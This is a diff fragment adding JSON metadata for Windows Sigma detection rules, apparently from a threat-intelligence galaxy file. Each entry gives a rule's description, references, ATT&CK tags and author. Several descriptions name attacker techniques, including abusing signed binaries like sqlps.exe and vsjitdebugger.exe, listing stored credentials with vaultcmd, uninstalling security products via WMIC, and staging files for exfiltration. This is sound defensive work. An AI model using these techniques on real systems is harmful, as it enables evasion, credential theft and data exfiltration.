+ "attack.t1055" + ], + "creation_date": "2019/06/17", + "filename": "proc_creation_win_susp_userinit_child.yml", + "author": "Florian Roth (rule), Samir Bousseaden (idea)", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of CSharp interactive console by PowerShell", + "uuid": "a9e416a8-e613-4f8b-88b8-a7d1d1af2f61", + "value": "Suspicious Use of CSharp Interactive Console", + "meta": { + "refs": [ + "https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_csharp_console.yml" + ], + "tags": [ + "attack.execution", + "attack.t1127" + ], + "creation_date": "2020/03/08", + "filename": "proc_creation_win_susp_use_of_csharp_console.yml", + "author": "Michael R. (@nahamike01)", + "level": "high", + "falsepositive": [ + "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", + "uuid": "0152550d-3a26-4efd-9f0e-54a0b28ae2f3", + "value": "Detection of PowerShell Execution via Sqlps.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", + "https://twitter.com/bryon_/status/975835709587075072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqlps_bin.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2020/10/10", + "filename": "proc_creation_win_susp_use_of_sqlps_bin.yml", + "author": "Agro (@agro_sev) oscd.community", + "level": "medium", + "falsepositive": [ + "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", + "uuid": "a746c9b8-a2fb-4ee5-a428-92bee9e99060", + "value": "SQL Client Tools PowerShell Session Detection", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml", + "https://twitter.com/pabraeken/status/993298228840992768", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_susp_use_of_sqltoolsps_bin.yml", + "author": "Agro (@agro_sev) oscd.communitly", + "level": "medium", + "falsepositive": [ + "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", + "uuid": "634b00d5-ccc3-4a06-ae3b-0ec8444dd51b", + "value": "Malicious Windows Script Components File Execution by TAEF Detection", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", + "https://twitter.com/pabraeken/status/993298228840992768", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" + ], + "tags": [ + "attack.t1218" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_susp_use_of_te_bin.yml", + "author": "Agro (@agro_sev) oscd.community", + "level": "low", + "falsepositive": [ + "It's not an uncommon to use te.exe directly to execute legal TAEF tests" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n", + "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2", + "value": "Malicious PE Execution by Microsoft Visual Studio Debugger", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/990758590020452353", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", + "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" + ], + "tags": [ + "attack.t1218", + "attack.defense_evasion" + ], + "creation_date": "2020/10/14", + "filename": "proc_creation_win_susp_use_of_vsjitdebugger_bin.yml", + "author": "Agro (@agro_sev), Ensar \u015eamil (@sblmsrsn), oscd.community", + "level": "medium", + "falsepositive": [ + "The process spawned by vsjitdebugger.exe is uncommon." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", + "uuid": "58f50261-c53b-4c88-bd12-1d71f12eda4c", + "value": "Windows Credential Manager Access via VaultCmd", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vaultcmd.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/04/08", + "filename": "proc_creation_win_susp_vaultcmd.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n", + "uuid": "b7b19cb6-9b32-4fc4-a108-73f19acfe262", + "value": "Suspicious VBoxDrvInst.exe Parameters", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", + "https://twitter.com/pabraeken/status/993497996179492864", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_susp_vboxdrvinst.yml", + "author": "Konstantin Grishchenko, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious inline VBScript keywords as used by UNC2452", + "uuid": "20c3f09d-c53d-4e85-8b74-6aa50e2f1b61", + "value": "Suspicious VBScript UN2452 Pattern", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vbscript_unc2452.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/03/05", + "filename": "proc_creation_win_susp_vbscript_unc2452.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commands that temporarily turn off Volume Snapshots", + "uuid": "dee4af55-1f22-4e1d-a9d2-4bdc7ecb472a", + "value": "Disabled Volume Snapshots", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1354766164166115331", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/01/28", + "filename": "proc_creation_win_susp_volsnap_disable.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", + "uuid": "43103702-5886-11ed-9b6a-0242ac120002", + "value": "Suspicious Vsls-Agent Command With AgentExtensionPath Load", + "meta": { + "refs": [ + "https://twitter.com/bohops/status/1583916360404729857", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/10/30", + "filename": "proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", + "author": "bohops", + "level": "medium", + "falsepositive": [ + "False positives depend on custom use of vsls-agent.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie.\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).\n", + "uuid": "2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5", + "value": "Suspicious WebDav Client Execution", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/17", + "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_susp_webdav_client_execution.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various web request with commandline tools or Windows PowerShell command,methods (including aliases)", + "uuid": "9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d", + "value": "Windows Suspicious Use Of Web Request in CommandLine", + "meta": { + "refs": [ + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", + "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_susp_web_request_cmd.yml", + "author": "James Pemberton / @4A616D6573", + "level": "medium", + "falsepositive": [ + "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", + "uuid": "60bfeac3-0d35-4302-8efb-1dd16f715bc6", + "value": "Suspicious SysAidServer Child", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/26", + "filename": "proc_creation_win_susp_web_sysaidserver.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) process patterns - suspicious parents / children, execution folders, command lines etc.", + "uuid": "CBEC226F-63D9-4ECA-9F52-DFB6652F24DF", + "value": "Suspicious WERMGR Process Patterns", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://www.echotrail.io/insights/search/wermgr.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "proc_creation_win_susp_wermgr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", + "uuid": "725a9768-0f5e-4cb3-aec2-bc5719c6831a", + "value": "Suspicious Where Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_where_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_susp_where_execution.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation but rarely used by administrators", + "uuid": "e28a5a99-da44-436d-b7a0-2afc20a5f413", + "value": "Whoami Execution", + "meta": { + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2018/08/13", + "filename": "proc_creation_win_susp_whoami.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of whoami with suspicious parents or parameters", + "uuid": "8de1cbe8-d6f5-496d-8237-5f44a721c7a0", + "value": "Whoami Execution Anomaly", + "meta": { + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_anomaly.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2021/08/12", + "filename": "proc_creation_win_susp_whoami_anomaly.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", + "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89", + "value": "WhoAmI as Parameter", + "meta": { + "refs": [ + "https://twitter.com/blackarrowsec/status/1463805700602224645?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2021/11/29", + "filename": "proc_creation_win_susp_whoami_as_param.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", + "uuid": "1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc", + "value": "Winrar Compressing Dump Files", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_susp_winrar_dmp.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of WinRAR with a command line in which .dmp appears accidentally" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", + "uuid": "4ede543c-e098-43d9-a28f-dd784a13132f", + "value": "Winrar Execution in Non-Standard Folder", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1460978167628406785", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2021/11/17", + "filename": "proc_creation_win_susp_winrar_execution.yml", + "author": "Florian Roth, Tigzy", + "level": "high", + "falsepositive": [ + "Legitimate use of WinRAR in a folder of a software that bundles WinRAR" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", + "uuid": "074e0ded-6ced-4ebd-8b4d-53f55908119d", + "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", + "meta": { + "refs": [ + "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_awl_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_susp_winrm_awl_bypass.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", + "uuid": "9df0dd3a-1a5c-47e3-a2bc-30ed177646a0", + "value": "Remote Code Execute via Winrm.vbs", + "meta": { + "refs": [ + "https://twitter.com/bohops/status/994405551751815170", + "https://redcanary.com/blog/lateral-movement-winrm-wmi/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_winrm_execution.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use for administartive purposes. Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", + "uuid": "e2e80da2-8c66-4e00-ae3c-2eebd29f6b6d", + "value": "Compress Data and Lock With Password for Exfiltration With WINZIP", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winzip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_susp_winzip.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMIC executions in which a event consumer gets created in order to establish persistence", + "uuid": "ebef4391-1a81-4761-a40a-1db446c0e625", + "value": "Suspicious WMIC ActiveScriptEventConsumer Creation", + "meta": { + "refs": [ + "https://twitter.com/johnlatwc/status/1408062131321270282?s=12", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2021/06/25", + "filename": "proc_creation_win_susp_wmic_eventconsumer_create.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate software creating script event consumers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMIC executing suspicious or recon commands", + "uuid": "526be59f-a573-4eea-b5f7-f0973207634d", + "value": "Suspicious WMIC Execution", + "meta": { + "refs": [ + "https://digital-forensics.sans.org/blog/2010/06/04/wmic-draft/", + "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", + "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "car.2016-03-002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_wmic_execution.yml", + "author": "Michael Haag, Florian Roth, juju4, oscd.community", + "level": "medium", + "falsepositive": [ + "If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\"...etc", + "uuid": "3c89a1e8-0fba-449e-8f1b-8409d6267ec8", + "value": "Suspicious WMIC Execution - ProcessCallCreate", + "meta": { + "refs": [ + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_proc_create.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_susp_wmic_proc_create.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uninstallation or termination of security products using the WMIC utility", + "uuid": "847d5ff3-8a31-4737-a970-aeae8fe21765", + "value": "Wmic Uninstall Security Product", + "meta": { + "refs": [ + "https://twitter.com/cglyer/status/1355171195654709249", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/01/30", + "filename": "proc_creation_win_susp_wmic_security_product_uninstall.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", + "uuid": "0bbc6369-43e3-453d-9944-cae58821c173", + "value": "Execution via WorkFolders.exe", + "meta": { + "refs": [ + "https://twitter.com/elliotkillick/status/1449812843772227588", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/10/21", + "filename": "proc_creation_win_susp_workfolders.yml", + "author": "Maxime Thiebaut (@0xThiebaut)", + "level": "high", + "falsepositive": [ + "Legitimate usage of the uncommon Windows Work Folders feature." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects code execution via the Windows Update client (wuauclt)", + "uuid": "d7825193-b70a-48a4-b992-8b5b3015cc11", + "value": "Windows Update Client LOLBIN", + "meta": { + "refs": [ + "https://dtm.uk/wuauclt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.execution", + "attack.t1105", + "attack.t1218" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_win_susp_wuauclt.yml", + "author": "FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags", + "uuid": "52d097e2-063e-4c9c-8fbb-855c8948d135", + "value": "Suspicious Windows Update Agent Empty Cmdline", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/26", + "filename": "proc_creation_win_susp_wuauclt_cmdline.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", + "uuid": "90dcf730-1b71-4ae7-9ffc-6fcf62bd0132", + "value": "Suspicious ZipExec Execution", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1451237393017839616", + "https://github.com/Tylous/ZipExec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zipexec.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2021/11/07", + "filename": "proc_creation_win_susp_zipexec.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "proc_creation_win_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", + "uuid": "0a13e132-651d-11eb-ae93-0242ac130002", + "value": "Suspicious Auditpol Usage", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2021/02/02", + "filename": "proc_creation_win_sus_auditpol_usage.yml", + "author": "Janantha Marasinghe (https://github.com/blueteam0ps)", + "level": "high", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of Sysinternals Tools due to accepteula option being seen in the command line.", + "uuid": "7cccd811-7ae9-4ebe-9afd-cb5c406b824b", + "value": "Usage of Sysinternals Tools", + "meta": { + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2017/08/28", + "filename": "proc_creation_win_sysinternals_eula_accepted.yml", + "author": "Markus Neis", + "level": "low", + "falsepositive": [ + "Legitimate use of SysInternals tools", + "Programs that use the same Registry Key" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Sysinternals PsService for service reconnaissance or tamper", + "uuid": "3371f518-5fe3-4cf6-a14b-2a0ae3fd8a4f", + "value": "Use of Sysinternals PsService", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psservice", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml" + ], + "tags": [ + "attack.discovery", + "attack.persistence", + "attack.t1543.003" + ], + "creation_date": "2022/06/16", + "filename": "proc_creation_win_sysinternals_psservice.yml", + "author": "Nasreddine Bencherchali", 